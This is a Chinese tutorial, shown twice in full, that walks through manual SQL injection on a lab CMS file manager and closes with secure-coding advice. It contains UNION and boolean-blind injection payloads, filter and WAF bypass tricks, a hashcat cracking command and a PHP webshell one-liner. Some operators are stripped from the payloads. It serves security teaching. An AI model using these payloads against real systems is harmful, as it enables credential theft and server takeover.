1. 项目概述从靶场到实战的SQL注入演练最近在整理安全测试的笔记翻到了一个挺有意思的练习项目——手动对一个模拟的CMS文件管理系统进行SQL注入。这玩意儿听起来有点老派毕竟现在各种自动化工具和框架满天飞但说实话手动注入的能力依然是安全从业者的基本功它能帮你理解漏洞最底层的原理而不是只会点按钮。这个靶场模拟了一个典型的、存在漏洞的文件管理系统后台正好拿来练手把注入的每一步逻辑都掰扯清楚。所谓CMS文件管理系统你可以把它想象成一个简化版的网盘后台管理员可以上传、删除、分类管理文件。而它的漏洞往往就藏在那些与数据库交互的地方比如文件列表的筛选、用户登录、搜索功能。我们这次的目标就是找到这些薄弱点在不依赖sqlmap这类自动化工具的情况下纯手工一步步“撬开”数据库的大门拿到敏感信息。这个过程不仅能帮你巩固SQL语法更能让你深刻理解应用程序是如何与数据库“对话”的以及一句恶意的输入是如何被曲解并执行。无论你是刚开始接触Web安全的新手还是想重温基础的老手跟着走一遍这个手动注入的完整流程肯定会有收获。2. 靶场环境搭建与目标分析2.1 靶场部署与初步侦察首先你得有一个靶场环境。市面上有很多现成的、带漏洞的CMS系统可以用来搭建比如一些开源的、故意留有漏洞的教学版本。我这次用的是自己用PHP和MySQL简单搭建的一个模拟环境核心就是一个文件管理列表页面URL大概长这样http://target.com/file_manager.php?categorydocuments。它的功能是根据category参数从数据库里查询对应类别的文件列表。动手之前信息收集是关键。我习惯先用浏览器直接访问目标页面看看它的基本样子有哪些功能点列表、搜索、详情页面结构如何。接着打开浏览器的开发者工具F12切换到“网络”Network标签页重新加载页面。这里你能看到页面加载的所有请求重点关注那个file_manager.php的请求看看它发送了哪些参数比如我们关注的category以及服务器的响应头信息。有时响应头里的Server: Apache/2.4.xx或X-Powered-By: PHP/7.x.x就能给你一些技术栈的提示。注意在真实环境中信息收集要广泛得多包括子域名、目录扫描、框架识别等。但在靶场练习中我们通常已知目标的大致技术栈如PHPMySQL所以可以更聚焦于漏洞点的寻找。2.2 漏洞点探测与注入类型判断我们的突破口很可能在URL的参数里特别是那些看起来用于查询数据库的参数比如id,category,search等。对于这个靶场category参数就是首要怀疑对象。第一步先进行简单的漏洞存在性测试。我在category参数的值后面加了一个单引号‘访问http://target.com/file_manager.php?categorydocuments。如果页面返回了数据库错误比如“You have an error in your SQL syntax”或者页面布局出现异常、空白那基本就坐实了这里存在SQL注入漏洞。因为单引号会破坏原SQL语句的字符串闭合导致语法错误。确认漏洞存在后下一步是判断注入类型。这决定了我们后续的注入手法。主要分为两类数字型注入参数值没有被单引号包裹。例如原语句可能是SELECT * FROM files WHERE id $id。测试时输入1 AND 11和1 AND 12观察页面返回是否不同。字符型注入参数值被单引号包裹。例如原语句可能是SELECT * FROM files WHERE category ‘$category’。测试时输入documents‘ AND ‘1’‘1和documents‘ AND ‘1’‘2。在我的靶场测试中输入documents‘ AND ‘1’‘1时页面正常显示文件列表输入documents‘ AND ‘1’‘2时页面无结果或报错。这清晰地表明category参数是字符型注入并且服务器返回了布尔值True/False相关的不同状态。这为我们后续进行“基于布尔的盲注”提供了条件。3. 手动SQL注入的核心步骤详解3.1 确定字段数与查询结构在开始“偷”数据之前我们需要知道当前执行的SQL查询语句到底SELECT了多少个字段。这就像你要用UNION操作符把两条查询结果合并前提是两条查询的列数必须相同。我们使用ORDER BY子句来探测。ORDER BY后面跟数字表示按查询结果集的第几列进行排序。如果数字超出了实际列数数据库就会报错。我们从ORDER BY 1开始尝试http://target.com/file_manager.php?categorydocuments‘ ORDER BY 1--http://target.com/file_manager.php?categorydocuments‘ ORDER BY 5--http://target.com/file_manager.php?categorydocuments‘ ORDER BY 10--注意这里的--后面有个空格是SQL中的单行注释符它的作用是把原始SQL语句中我们输入参数后面的部分注释掉避免语法错误。比如原语句可能是SELECT name, size, upload_time FROM files WHERE category ‘documents‘ ORDER BY 1-- ‘被注释后实际执行的就是SELECT name, size, upload_time FROM files WHERE category ‘documents‘ ORDER BY 1当我测试到ORDER BY 4时页面报错而ORDER BY 3时页面正常。这说明原始查询返回了3个字段。知道这个数字至关重要。3.2 利用UNION注入获取关键信息知道了字段数是3我们就可以使用UNION SELECT来执行我们自己的查询并将结果合并显示在页面上。但首先我们需要找到页面中哪个位置会显示我们注入查询的结果。通常页面上的某些文本区域、表格单元格会回显数据库查询的某一列。我构造了这样一个Payloadhttp://target.com/file_manager.php?categorydocuments‘ UNION SELECT 1,2,3--访问后我仔细查看页面。发现原本显示文件“大小”的表格列现在显示的是数字“2”原本显示“上传日期”的列显示的是数字“3”。而数字“1”没有显示出来可能对应了某个不显示的字段。这太好了这说明页面的第2和第3列是可见的回显点。我们可以把想要查询的数据放在这两个位置上。接下来就可以利用这两个回显点来获取数据库的元信息了。我替换了Payloadhttp://target.com/file_manager.php?categorydocuments‘ UNION SELECT 1, database(), version()--这次在“大小”列显示的不再是“2”而是当前数据库的名称例如cms_db在“上传日期”列显示的是MySQL的版本号例如5.7.36。用同样的方法我还可以查询当前数据库用户http://target.com/file_manager.php?categorydocuments‘ UNION SELECT 1, user(), version_compile_os--user()函数返回当前连接数据库的用户version_compile_os返回操作系统信息。这一步让我们对目标环境有了更清晰的认知数据库名、版本、用户、操作系统。这些信息对于后续的深入利用非常有帮助比如知道MySQL版本是5.0以上就可以查询information_schema这个系统数据库。3.3 爆破数据库表名与列名在MySQL中information_schema数据库就像一本“数据库的字典”里面存储了所有其他数据库、表、列的信息。我们的目标是先拿到当前数据库cms_db里所有表的名称。我构造了以下Payload查询information_schema.tables表http://target.com/file_manager.php?categorydocuments‘ UNION SELECT 1, table_name, table_schema FROM information_schema.tables WHERE table_schemadatabase()--这条语句会列出cms_db数据库里所有的表。在页面上我看到了诸如files,users,config,logs等表名。其中users表无疑是最吸引人的目标里面很可能存放着管理员账号和密码。下一步就是探查users表的具体结构即它有哪些列。我继续查询information_schema.columns表http://target.com/file_manager.php?categorydocuments‘ UNION SELECT 1, column_name, data_type FROM information_schema.columns WHERE table_name‘users‘ AND table_schemadatabase()--实操心得这里table_name的值‘users‘需要用单引号引起来因为它是一个字符串。有时候如果遇到过滤可能需要用十六进制编码如0x7573657273来绕过。在靶场中直接使用单引号通常可行。执行后页面上显示了users表的列信息例如id(int),username(varchar),password(varchar),email(varchar),is_admin(tinyint)。至此数据库的“地图”我们已经完全掌握了。4. 数据提取与密码破解实战4.1 提取用户凭证数据目标明确就是users表里的username和password字段。现在可以直接用UNION SELECT把数据“拉”出来。为了让结果更清晰我使用CONCAT()函数把用户名和密码拼接在一列显示另一列可以显示其他信息如邮箱。Payload如下http://target.com/file_manager.php?categorydocuments‘ UNION SELECT 1, CONCAT(username, ‘:‘, password), email FROM users--页面回显点原来的“大小”列现在显示出了类似这样的内容admin:5f4dcc3b5aa765d61d8327deb882cf99user1:e10adc3949ba59abbe56e057f20f883e...成功我们拿到了用户名和密码的哈希值Hash。从格式上看admin的密码5f4dcc3b5aa765d61d8327deb882cf99是32位的MD5哈希user1的密码e10adc3949ba59abbe56e057f20f883e也是MD5并且这个值非常常见它就是“123456”的MD5值。4.2 哈希密码的破解与思考拿到哈希值并不等于拿到了明文密码。我们需要进行破解。对于简单的、常见的密码弱口令其MD5哈希值通常被收录在庞大的“彩虹表”中。我们可以通过在线MD5解密网站如cmd5.com或本地的哈希破解工具如John the Ripper, Hashcat来进行尝试。在线查询我将e10adc3949ba59abbe56e057f20f883e复制到cmd5网站瞬间就得到了结果123456。这是因为“123456”作为全球最常用的弱密码之一其哈希值早已被所有彩虹表收录。本地破解对于admin的哈希5f4dcc3b5aa765d61d8327deb882cf99在线网站可能因为其强度较高而需要付费或无法直接破解。这时可以使用Hashcat。假设我怀疑密码可能是英文单词可以准备一个密码字典wordlist然后执行命令hashcat -m 0 -a 0 admin_hash.txt rockyou.txt其中-m 0指定MD5模式-a 0是字典攻击模式admin_hash.txt文件里保存着那个哈希值rockyou.txt是一个著名的弱密码字典。重要注意事项在实际的安全测试或CTF比赛中获取到哈希值并尝试破解是常规操作。但在未经授权的真实网站上进行这些操作是违法的。靶场练习的目的正是为了在合法合规的环境下掌握技能理解风险从而帮助开发人员避免写出存在此类漏洞的代码。如果密码是加盐Salt哈希的破解难度会呈指数级上升。加盐是指在密码哈希之前拼接上一个随机字符串盐值。即使两个用户密码相同由于盐值不同最终的哈希值也完全不同有效防御了彩虹表攻击。在审计代码时检查密码存储是否采用“加盐哈希”如bcrypt,scrypt,PBKDF2是至关重要的。5. 手工注入的进阶技巧与防御绕过5.1 基于布尔的盲注深入利用在我们这个靶场例子中数据是直接回显在页面上的这属于“联合查询注入”或“报错注入”。但还有一种更常见、也更隐蔽的情况基于布尔的盲注。即页面不会直接显示数据库数据或错误信息只会根据注入的SQL语句执行结果是“真”还是“假”返回不同的页面状态例如内容存在与否、HTTP响应码不同、页面某处细微的文字差异。假设靶场的category参数存在布尔盲注我们无法用UNION直接看到数据但可以通过一系列“是或否”的问题来逐位猜解数据。例如猜解当前数据库名的第一个字符的ASCII码是否大于100http://target.com/file_manager.php?categorydocuments‘ AND ASCII(SUBSTRING(database(),1,1)) 100--如果页面正常显示条件为真说明第一个字符的ASCII码大于100如果页面无结果条件为假则说明小于等于100。通过二分法可以快速定位到准确的ASCII码值从而还原出字符。整个过程非常耗时需要自动化脚本辅助但原理就是通过布尔逻辑进行推理。手工操作时可以借助Burp Suite的Intruder模块通过设置Payload位置和攻击类型如“Sniper”或“Cluster bomb”来自动化完成猜解过程。5.2 常见过滤机制与绕过手法现代的Web应用或多或少都会有一些针对SQL注入的防御措施比如关键字过滤过滤SELECT,UNION,AND,OR,空格等。WAFWeb应用防火墙基于规则拦截恶意请求。手工注入的魅力就在于“斗智斗勇”。以下是一些经典的绕过技巧大小写绕过SeLeCt代替SELECT。有些简单的过滤只匹配全大写或全小写。双写绕过如果过滤是删除关键字可以尝试SELSELECTECT过滤掉中间的SELECT后剩下的部分又组成了SELECT。内联注释/*!SELECT*/。在MySQL中/*!...*/中的内容会被当作SQL语句执行但某些WAF可能不识别。等价函数/符号替换AND-OR-||-LIKE,REGEXP,不等于空格 -/**/注释符充当空格、URL编码后、%0a换行符编码绕过十六进制编码将字符串转换为十六进制。例如users的十六进制是0x7573657273。Payload可以写成...WHERE table_name0x7573657273--这样就绕过了对单引号的过滤。URL编码对注入Payload整体或部分进行URL编码。SELECT编码后是%53%45%4c%45%43%54。有时服务器会进行多次解码可能造成绕过。利用数据库特性在MySQL中SELECT ‘a‘ ‘b‘的结果是‘ab‘可以利用这个特性拼接字符串绕过对某些词的过滤。踩坑记录绕过的过程往往需要多次尝试和组合技巧。最好的方法是搭建一个存在WAF或简单过滤的靶场如Pikachu靶场的一些关卡针对性地练习这些绕过手法。理解原理比记忆Payload更重要。6. 漏洞挖掘与修复建议实录6.1 从注入点到GetShell的联想通过SQL注入拿到管理员账号密码后攻击并未结束。登录后台管理系统往往能找到新的攻击面。在这个模拟的CMS文件管理系统中后台很可能存在文件上传功能。如果上传功能未对文件类型、内容进行严格校验攻击者就可能上传一个Webshell例如一个包含?php eval($_POST[‘cmd‘]);?的PHP文件从而获得服务器的命令执行权限这就是常说的“GetShell”。整个攻击链可能是SQL注入获取后台凭证 - 登录后台 - 利用文件上传漏洞上传Webshell - 接管服务器。因此在渗透测试中发现一个SQL注入点尤其是能获取管理员权限的注入点其危险等级通常被定为“高危”或“严重”。6.2 针对开发者的安全编码建议作为开发者如何从根本上杜绝SQL注入以下是我总结的几条铁律使用参数化查询预编译语句这是最重要、最有效的手段。无论是PHP的PDO、Python的sqlite3/MySQLdb、Java的PreparedStatement其原理都是将SQL语句的“结构”与“数据”分离。数据库先编译SQL语句结构再将用户输入的数据作为参数传入这样无论数据内容是什么都不会改变原语句的结构。// PHP PDO 示例正确做法 $stmt $pdo-prepare(“SELECT * FROM files WHERE category :category“); $stmt-execute([‘category‘ $category]);绝对不要使用字符串拼接的方式构建SQL语句// 错误做法存在注入漏洞 $sql “SELECT * FROM files WHERE category ‘“ . $_GET[‘category‘] . “‘“;使用安全的ORM框架像Laravel的Eloquent、ThinkPHP的模型等ORM框架它们底层通常实现了参数化查询能极大降低手写SQL出错的风险。实施最小权限原则为Web应用程序连接数据库的账户分配最小的必要权限。通常只授予SELECT、INSERT、UPDATE、DELETE等业务必需权限切勿使用root或拥有FILE_PRIV、PROCESS等高级权限的账户。这样即使发生注入攻击者能造成的破坏也有限。对输入进行严格的校验和过滤虽然不能完全依赖但作为辅助手段。对预期的输入类型进行强制转换如整型intval()对字符串进行白名单过滤只允许特定字符集。加密存储敏感数据像用户密码必须使用强哈希算法如bcrypt、Argon2并加盐存储确保即使数据库泄露攻击者也无法轻易还原明文密码。定期进行安全审计与渗透测试使用自动化扫描工具如SQLMap、Nessus结合手动测试定期对系统进行安全检查。同时代码审查Code Review是发现安全漏洞的另一个有效途径。手动完成一次完整的SQL注入攻击链演练最大的收获不是学会了几个Payload而是建立了一种“攻击者思维”。当你再去写代码时你会本能地去想“这个地方的用户输入如果被恶意构造会怎么样” 这种思维转换是任何自动化工具都无法赋予你的。靶场练习的意义就在于此——在安全的沙箱里模拟最真实的攻击从而铸就最坚固的防御。
手动SQL注入实战：从漏洞探测到数据提取的完整演练
1. 项目概述从靶场到实战的SQL注入演练最近在整理安全测试的笔记翻到了一个挺有意思的练习项目——手动对一个模拟的CMS文件管理系统进行SQL注入。这玩意儿听起来有点老派毕竟现在各种自动化工具和框架满天飞但说实话手动注入的能力依然是安全从业者的基本功它能帮你理解漏洞最底层的原理而不是只会点按钮。这个靶场模拟了一个典型的、存在漏洞的文件管理系统后台正好拿来练手把注入的每一步逻辑都掰扯清楚。所谓CMS文件管理系统你可以把它想象成一个简化版的网盘后台管理员可以上传、删除、分类管理文件。而它的漏洞往往就藏在那些与数据库交互的地方比如文件列表的筛选、用户登录、搜索功能。我们这次的目标就是找到这些薄弱点在不依赖sqlmap这类自动化工具的情况下纯手工一步步“撬开”数据库的大门拿到敏感信息。这个过程不仅能帮你巩固SQL语法更能让你深刻理解应用程序是如何与数据库“对话”的以及一句恶意的输入是如何被曲解并执行。无论你是刚开始接触Web安全的新手还是想重温基础的老手跟着走一遍这个手动注入的完整流程肯定会有收获。2. 靶场环境搭建与目标分析2.1 靶场部署与初步侦察首先你得有一个靶场环境。市面上有很多现成的、带漏洞的CMS系统可以用来搭建比如一些开源的、故意留有漏洞的教学版本。我这次用的是自己用PHP和MySQL简单搭建的一个模拟环境核心就是一个文件管理列表页面URL大概长这样http://target.com/file_manager.php?categorydocuments。它的功能是根据category参数从数据库里查询对应类别的文件列表。动手之前信息收集是关键。我习惯先用浏览器直接访问目标页面看看它的基本样子有哪些功能点列表、搜索、详情页面结构如何。接着打开浏览器的开发者工具F12切换到“网络”Network标签页重新加载页面。这里你能看到页面加载的所有请求重点关注那个file_manager.php的请求看看它发送了哪些参数比如我们关注的category以及服务器的响应头信息。有时响应头里的Server: Apache/2.4.xx或X-Powered-By: PHP/7.x.x就能给你一些技术栈的提示。注意在真实环境中信息收集要广泛得多包括子域名、目录扫描、框架识别等。但在靶场练习中我们通常已知目标的大致技术栈如PHPMySQL所以可以更聚焦于漏洞点的寻找。2.2 漏洞点探测与注入类型判断我们的突破口很可能在URL的参数里特别是那些看起来用于查询数据库的参数比如id,category,search等。对于这个靶场category参数就是首要怀疑对象。第一步先进行简单的漏洞存在性测试。我在category参数的值后面加了一个单引号‘访问http://target.com/file_manager.php?categorydocuments。如果页面返回了数据库错误比如“You have an error in your SQL syntax”或者页面布局出现异常、空白那基本就坐实了这里存在SQL注入漏洞。因为单引号会破坏原SQL语句的字符串闭合导致语法错误。确认漏洞存在后下一步是判断注入类型。这决定了我们后续的注入手法。主要分为两类数字型注入参数值没有被单引号包裹。例如原语句可能是SELECT * FROM files WHERE id $id。测试时输入1 AND 11和1 AND 12观察页面返回是否不同。字符型注入参数值被单引号包裹。例如原语句可能是SELECT * FROM files WHERE category ‘$category’。测试时输入documents‘ AND ‘1’‘1和documents‘ AND ‘1’‘2。在我的靶场测试中输入documents‘ AND ‘1’‘1时页面正常显示文件列表输入documents‘ AND ‘1’‘2时页面无结果或报错。这清晰地表明category参数是字符型注入并且服务器返回了布尔值True/False相关的不同状态。这为我们后续进行“基于布尔的盲注”提供了条件。3. 手动SQL注入的核心步骤详解3.1 确定字段数与查询结构在开始“偷”数据之前我们需要知道当前执行的SQL查询语句到底SELECT了多少个字段。这就像你要用UNION操作符把两条查询结果合并前提是两条查询的列数必须相同。我们使用ORDER BY子句来探测。ORDER BY后面跟数字表示按查询结果集的第几列进行排序。如果数字超出了实际列数数据库就会报错。我们从ORDER BY 1开始尝试http://target.com/file_manager.php?categorydocuments‘ ORDER BY 1--http://target.com/file_manager.php?categorydocuments‘ ORDER BY 5--http://target.com/file_manager.php?categorydocuments‘ ORDER BY 10--注意这里的--后面有个空格是SQL中的单行注释符它的作用是把原始SQL语句中我们输入参数后面的部分注释掉避免语法错误。比如原语句可能是SELECT name, size, upload_time FROM files WHERE category ‘documents‘ ORDER BY 1-- ‘被注释后实际执行的就是SELECT name, size, upload_time FROM files WHERE category ‘documents‘ ORDER BY 1当我测试到ORDER BY 4时页面报错而ORDER BY 3时页面正常。这说明原始查询返回了3个字段。知道这个数字至关重要。3.2 利用UNION注入获取关键信息知道了字段数是3我们就可以使用UNION SELECT来执行我们自己的查询并将结果合并显示在页面上。但首先我们需要找到页面中哪个位置会显示我们注入查询的结果。通常页面上的某些文本区域、表格单元格会回显数据库查询的某一列。我构造了这样一个Payloadhttp://target.com/file_manager.php?categorydocuments‘ UNION SELECT 1,2,3--访问后我仔细查看页面。发现原本显示文件“大小”的表格列现在显示的是数字“2”原本显示“上传日期”的列显示的是数字“3”。而数字“1”没有显示出来可能对应了某个不显示的字段。这太好了这说明页面的第2和第3列是可见的回显点。我们可以把想要查询的数据放在这两个位置上。接下来就可以利用这两个回显点来获取数据库的元信息了。我替换了Payloadhttp://target.com/file_manager.php?categorydocuments‘ UNION SELECT 1, database(), version()--这次在“大小”列显示的不再是“2”而是当前数据库的名称例如cms_db在“上传日期”列显示的是MySQL的版本号例如5.7.36。用同样的方法我还可以查询当前数据库用户http://target.com/file_manager.php?categorydocuments‘ UNION SELECT 1, user(), version_compile_os--user()函数返回当前连接数据库的用户version_compile_os返回操作系统信息。这一步让我们对目标环境有了更清晰的认知数据库名、版本、用户、操作系统。这些信息对于后续的深入利用非常有帮助比如知道MySQL版本是5.0以上就可以查询information_schema这个系统数据库。3.3 爆破数据库表名与列名在MySQL中information_schema数据库就像一本“数据库的字典”里面存储了所有其他数据库、表、列的信息。我们的目标是先拿到当前数据库cms_db里所有表的名称。我构造了以下Payload查询information_schema.tables表http://target.com/file_manager.php?categorydocuments‘ UNION SELECT 1, table_name, table_schema FROM information_schema.tables WHERE table_schemadatabase()--这条语句会列出cms_db数据库里所有的表。在页面上我看到了诸如files,users,config,logs等表名。其中users表无疑是最吸引人的目标里面很可能存放着管理员账号和密码。下一步就是探查users表的具体结构即它有哪些列。我继续查询information_schema.columns表http://target.com/file_manager.php?categorydocuments‘ UNION SELECT 1, column_name, data_type FROM information_schema.columns WHERE table_name‘users‘ AND table_schemadatabase()--实操心得这里table_name的值‘users‘需要用单引号引起来因为它是一个字符串。有时候如果遇到过滤可能需要用十六进制编码如0x7573657273来绕过。在靶场中直接使用单引号通常可行。执行后页面上显示了users表的列信息例如id(int),username(varchar),password(varchar),email(varchar),is_admin(tinyint)。至此数据库的“地图”我们已经完全掌握了。4. 数据提取与密码破解实战4.1 提取用户凭证数据目标明确就是users表里的username和password字段。现在可以直接用UNION SELECT把数据“拉”出来。为了让结果更清晰我使用CONCAT()函数把用户名和密码拼接在一列显示另一列可以显示其他信息如邮箱。Payload如下http://target.com/file_manager.php?categorydocuments‘ UNION SELECT 1, CONCAT(username, ‘:‘, password), email FROM users--页面回显点原来的“大小”列现在显示出了类似这样的内容admin:5f4dcc3b5aa765d61d8327deb882cf99user1:e10adc3949ba59abbe56e057f20f883e...成功我们拿到了用户名和密码的哈希值Hash。从格式上看admin的密码5f4dcc3b5aa765d61d8327deb882cf99是32位的MD5哈希user1的密码e10adc3949ba59abbe56e057f20f883e也是MD5并且这个值非常常见它就是“123456”的MD5值。4.2 哈希密码的破解与思考拿到哈希值并不等于拿到了明文密码。我们需要进行破解。对于简单的、常见的密码弱口令其MD5哈希值通常被收录在庞大的“彩虹表”中。我们可以通过在线MD5解密网站如cmd5.com或本地的哈希破解工具如John the Ripper, Hashcat来进行尝试。在线查询我将e10adc3949ba59abbe56e057f20f883e复制到cmd5网站瞬间就得到了结果123456。这是因为“123456”作为全球最常用的弱密码之一其哈希值早已被所有彩虹表收录。本地破解对于admin的哈希5f4dcc3b5aa765d61d8327deb882cf99在线网站可能因为其强度较高而需要付费或无法直接破解。这时可以使用Hashcat。假设我怀疑密码可能是英文单词可以准备一个密码字典wordlist然后执行命令hashcat -m 0 -a 0 admin_hash.txt rockyou.txt其中-m 0指定MD5模式-a 0是字典攻击模式admin_hash.txt文件里保存着那个哈希值rockyou.txt是一个著名的弱密码字典。重要注意事项在实际的安全测试或CTF比赛中获取到哈希值并尝试破解是常规操作。但在未经授权的真实网站上进行这些操作是违法的。靶场练习的目的正是为了在合法合规的环境下掌握技能理解风险从而帮助开发人员避免写出存在此类漏洞的代码。如果密码是加盐Salt哈希的破解难度会呈指数级上升。加盐是指在密码哈希之前拼接上一个随机字符串盐值。即使两个用户密码相同由于盐值不同最终的哈希值也完全不同有效防御了彩虹表攻击。在审计代码时检查密码存储是否采用“加盐哈希”如bcrypt,scrypt,PBKDF2是至关重要的。5. 手工注入的进阶技巧与防御绕过5.1 基于布尔的盲注深入利用在我们这个靶场例子中数据是直接回显在页面上的这属于“联合查询注入”或“报错注入”。但还有一种更常见、也更隐蔽的情况基于布尔的盲注。即页面不会直接显示数据库数据或错误信息只会根据注入的SQL语句执行结果是“真”还是“假”返回不同的页面状态例如内容存在与否、HTTP响应码不同、页面某处细微的文字差异。假设靶场的category参数存在布尔盲注我们无法用UNION直接看到数据但可以通过一系列“是或否”的问题来逐位猜解数据。例如猜解当前数据库名的第一个字符的ASCII码是否大于100http://target.com/file_manager.php?categorydocuments‘ AND ASCII(SUBSTRING(database(),1,1)) 100--如果页面正常显示条件为真说明第一个字符的ASCII码大于100如果页面无结果条件为假则说明小于等于100。通过二分法可以快速定位到准确的ASCII码值从而还原出字符。整个过程非常耗时需要自动化脚本辅助但原理就是通过布尔逻辑进行推理。手工操作时可以借助Burp Suite的Intruder模块通过设置Payload位置和攻击类型如“Sniper”或“Cluster bomb”来自动化完成猜解过程。5.2 常见过滤机制与绕过手法现代的Web应用或多或少都会有一些针对SQL注入的防御措施比如关键字过滤过滤SELECT,UNION,AND,OR,空格等。WAFWeb应用防火墙基于规则拦截恶意请求。手工注入的魅力就在于“斗智斗勇”。以下是一些经典的绕过技巧大小写绕过SeLeCt代替SELECT。有些简单的过滤只匹配全大写或全小写。双写绕过如果过滤是删除关键字可以尝试SELSELECTECT过滤掉中间的SELECT后剩下的部分又组成了SELECT。内联注释/*!SELECT*/。在MySQL中/*!...*/中的内容会被当作SQL语句执行但某些WAF可能不识别。等价函数/符号替换AND-OR-||-LIKE,REGEXP,不等于空格 -/**/注释符充当空格、URL编码后、%0a换行符编码绕过十六进制编码将字符串转换为十六进制。例如users的十六进制是0x7573657273。Payload可以写成...WHERE table_name0x7573657273--这样就绕过了对单引号的过滤。URL编码对注入Payload整体或部分进行URL编码。SELECT编码后是%53%45%4c%45%43%54。有时服务器会进行多次解码可能造成绕过。利用数据库特性在MySQL中SELECT ‘a‘ ‘b‘的结果是‘ab‘可以利用这个特性拼接字符串绕过对某些词的过滤。踩坑记录绕过的过程往往需要多次尝试和组合技巧。最好的方法是搭建一个存在WAF或简单过滤的靶场如Pikachu靶场的一些关卡针对性地练习这些绕过手法。理解原理比记忆Payload更重要。6. 漏洞挖掘与修复建议实录6.1 从注入点到GetShell的联想通过SQL注入拿到管理员账号密码后攻击并未结束。登录后台管理系统往往能找到新的攻击面。在这个模拟的CMS文件管理系统中后台很可能存在文件上传功能。如果上传功能未对文件类型、内容进行严格校验攻击者就可能上传一个Webshell例如一个包含?php eval($_POST[‘cmd‘]);?的PHP文件从而获得服务器的命令执行权限这就是常说的“GetShell”。整个攻击链可能是SQL注入获取后台凭证 - 登录后台 - 利用文件上传漏洞上传Webshell - 接管服务器。因此在渗透测试中发现一个SQL注入点尤其是能获取管理员权限的注入点其危险等级通常被定为“高危”或“严重”。6.2 针对开发者的安全编码建议作为开发者如何从根本上杜绝SQL注入以下是我总结的几条铁律使用参数化查询预编译语句这是最重要、最有效的手段。无论是PHP的PDO、Python的sqlite3/MySQLdb、Java的PreparedStatement其原理都是将SQL语句的“结构”与“数据”分离。数据库先编译SQL语句结构再将用户输入的数据作为参数传入这样无论数据内容是什么都不会改变原语句的结构。// PHP PDO 示例正确做法 $stmt $pdo-prepare(“SELECT * FROM files WHERE category :category“); $stmt-execute([‘category‘ $category]);绝对不要使用字符串拼接的方式构建SQL语句// 错误做法存在注入漏洞 $sql “SELECT * FROM files WHERE category ‘“ . $_GET[‘category‘] . “‘“;使用安全的ORM框架像Laravel的Eloquent、ThinkPHP的模型等ORM框架它们底层通常实现了参数化查询能极大降低手写SQL出错的风险。实施最小权限原则为Web应用程序连接数据库的账户分配最小的必要权限。通常只授予SELECT、INSERT、UPDATE、DELETE等业务必需权限切勿使用root或拥有FILE_PRIV、PROCESS等高级权限的账户。这样即使发生注入攻击者能造成的破坏也有限。对输入进行严格的校验和过滤虽然不能完全依赖但作为辅助手段。对预期的输入类型进行强制转换如整型intval()对字符串进行白名单过滤只允许特定字符集。加密存储敏感数据像用户密码必须使用强哈希算法如bcrypt、Argon2并加盐存储确保即使数据库泄露攻击者也无法轻易还原明文密码。定期进行安全审计与渗透测试使用自动化扫描工具如SQLMap、Nessus结合手动测试定期对系统进行安全检查。同时代码审查Code Review是发现安全漏洞的另一个有效途径。手动完成一次完整的SQL注入攻击链演练最大的收获不是学会了几个Payload而是建立了一种“攻击者思维”。当你再去写代码时你会本能地去想“这个地方的用户输入如果被恶意构造会怎么样” 这种思维转换是任何自动化工具都无法赋予你的。靶场练习的意义就在于此——在安全的沙箱里模拟最真实的攻击从而铸就最坚固的防御。
